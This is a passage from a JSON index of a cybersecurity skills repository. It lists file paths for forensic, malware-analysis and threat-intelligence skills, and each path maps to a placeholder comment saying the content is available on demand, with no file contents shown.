/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2Freferences%2Fapi-reference.md -->","skills/analyzing-email-headers-for-phishing-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2FSKILL.md -->","skills/analyzing-email-headers-for-phishing-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-email-headers-for-phishing-investigation%2Freferences%2Fapi-reference.md -->","skills/analyzing-ethereum-smart-contract-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2FSKILL.md -->","skills/analyzing-ethereum-smart-contract-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ethereum-smart-contract-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/analyzing-golang-malware-with-ghidra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2FSKILL.md -->","skills/analyzing-golang-malware-with-ghidra/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Fassets%2Ftemplate.md -->","skills/analyzing-golang-malware-with-ghidra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","skills/analyzing-golang-malware-with-ghidra/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fstandards.md -->","skills/analyzing-golang-malware-with-ghidra/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-golang-malware-with-ghidra%2Freferences%2Fworkflows.md -->","skills/analyzing-heap-spray-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2FSKILL.md -->","skills/analyzing-heap-spray-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-heap-spray-exploitation%2Freferences%2Fapi-reference.md -->","skills/analyzing-indicators-of-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2FSKILL.md -->","skills/analyzing-indicators-of-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","skills/analyzing-ios-app-security-with-objection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2FSKILL.md -->","skills/analyzing-ios-app-security-with-objection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Fassets%2Ftemplate.md -->","skills/analyzing-ios-app-security-with-objection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fapi-reference.md -->","skills/analyzing-ios-app-security-with-objection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fstandards.md -->","skills/analyzing-ios-app-security-with-objection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fworkflows.md -->","skills/analyzing-kubernetes-audit-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2FSKILL.md -->","skills/analyzing-kubernetes-audit-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2FSKILL.md -->","skills/analyzing-linux-audit-logs-for-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-elf-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2FSKILL.md -->","skills/analyzing-linux-elf-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-kernel-rootkits/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2FSKILL.md -->","skills/analyzing-linux-kernel-rootkits/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2Freferences%2Fapi-reference.md -->","skills/analyzing-linux-system-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2FSKILL.md -->","skills/analyzing-linux-system-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2FSKILL.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fworkflows.md -->","skills/analyzing-macro-malware-in-office-documents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2FSKILL.md -->","skills/analyzing-macro-malware-in-office-documents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-pdf-with-peepdf/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2FSKILL.md -->","skills/analyzing-malicious-pdf-with-peepdf/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-url-with-urlscan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2FSKILL.md -->","skills/analyzing-malicious-url-with-urlscan/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Fassets%2Ftemplate.md -->","skills/analyzing-malicious-url-with-urlscan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fapi-reference.md -->","skills/analyzing-malicious-url-with-urlscan/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fstandards.md -->","skills/analyzing-malicious-url-with-urlscan/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fworkflows.md -->","skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2FSKILL.md -->","skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2FSKILL.md -->","skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-persistence-with-autoruns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2FSKILL.md -->","skills/analyzing-malware-persistence-with-autoruns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Fassets%2Ftemplate.md -->","skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fapi-reference.md -->","skills/analyzing-malware-persistence-with-autoruns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fstandards.md -->","skills/analyzing-malware-persistence-with-autoruns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fworkflows.md -->","skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2FSKILL.md -->","skills/analyzing-malware-sandbox-evasion-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2Freferences%2Fapi-reference.md -->","skills/analyzing-memory-dumps-with-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2FSKILL.md -->","skills/analyzing-memory-dumps-with-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2Freferences%2Fapi-reference.md -->","skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2FSKILL.md -->","skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2Freferences%2Fapi-reference.md -->","skills/analyzing-mft-for-deleted-file-recovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2FSKILL.md -->","skills/analyzing-mft-for-deleted-file-recovery/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Fassets%2Ftemplate.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fapi-reference.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fstandards.md -->","skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fworkflows.md -->","skills/analyzing-network-covert-channels-in-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2FSKILL.md -->","skills/analyzing-network-covert-channels-in-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Fassets%2Ftemplate.md -->","skills/analyzing-network-covert-channels-in-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-covert-channels-in-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fstandards.md -->","skills/analyzing-network-covert-channels-in-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fworkflows.md -->","skills/analyzing-network-flow-data-with-netflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2FSKILL.md -->","skills/analyzing-network-flow-data-with-netflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-packets-with-scapy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2FSKILL.md -->","skills/analyzing-network-packets-with-scapy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-for-incidents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2FSKILL.md -->","skills/analyzing-network-traffic-for-incidents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-of-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2FSKILL.md -->","skills/analyzing-network-traffic-of-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2Freferences%2Fapi-reference.md -->","skills/analyzing-network-traffic-with-wireshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2FSKILL.md -->","skills/analyzing-network-traffic-with-wireshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2Freferences%2Fapi-reference.md -->","skills/analyzing-office365-audit-logs-for-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2FSKILL.md -->","skills/analyzing-office365-audit-logs-for-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2Freferences%2Fapi-reference.md -->","skills/analyzing-outlook-pst-for-email-forensics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2FSKILL.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fapi-reference.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fstandards.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fworkflows.md -->","skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2FSKILL.md -->","skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2Freferences%2Fapi-reference.md -->","skills/analyzing-pdf-malware-with-pdfid/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2FSKILL.md -->","skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2Freferences%2Fapi-reference.md -->","skills/analyzing-persistence-mechanisms-in-linux/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2FSKILL.md -->","skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2Freferences%2Fapi-reference.md -->","skills/analyzing-powershell-empire-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2FSKILL.md -->","skills/analyzing-powershell-empire-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-powershell-script-block-logging/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2FSKILL.md -->","skills/analyzing-powershell-script-block-logging/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2Freferences%2Fapi-reference.md -->","skills/analyzing-prefetch-files-for-execution-history/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2FSKILL.md -->","skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-encryption-mechanisms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2FSKILL.md -->","skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-leak-site-intelligence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2FSKILL.md -->","skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-network-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2FSKILL.md -->","skills/analyzing-ransomware-network-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-payment-wallets/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2FSKILL.md -->","skills/analyzing-ransomware-payment-wallets/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2Freferences%2Fapi-reference.md -->","skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2FSKILL.md -->","skills/analyzing-sbom-for-supply-chain-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/analyzing-security-logs-with-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2FSKILL.md -->","skills/analyzing-security-logs-with-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2Freferences%2Fapi-reference.md -->","skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2FSKILL.md -->","skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-supply-chain-malware-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2FSKILL.md -->","skills/analyzing-supply-chain-malware-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-supply-chain-malware-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-supply-chain-malware-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fworkflows.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2FSKILL.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Fassets%2Ftemplate.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fstandards.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fworkflows.md -->","skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2FSKILL.md -->","skills/analyzing-threat-actor-ttps-with-mitre-navigator/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-intelligence-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2FSKILL.md -->","skills/analyzing-threat-intelligence-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-landscape-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2FSKILL.md -->","skills/analyzing-threat-landscape-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2Freferences%2Fapi-reference.md -->","skills/analyzing-tls-certificate-transparency-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2FSKILL.md -->","skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md":"<!-- Skill available on-demand via 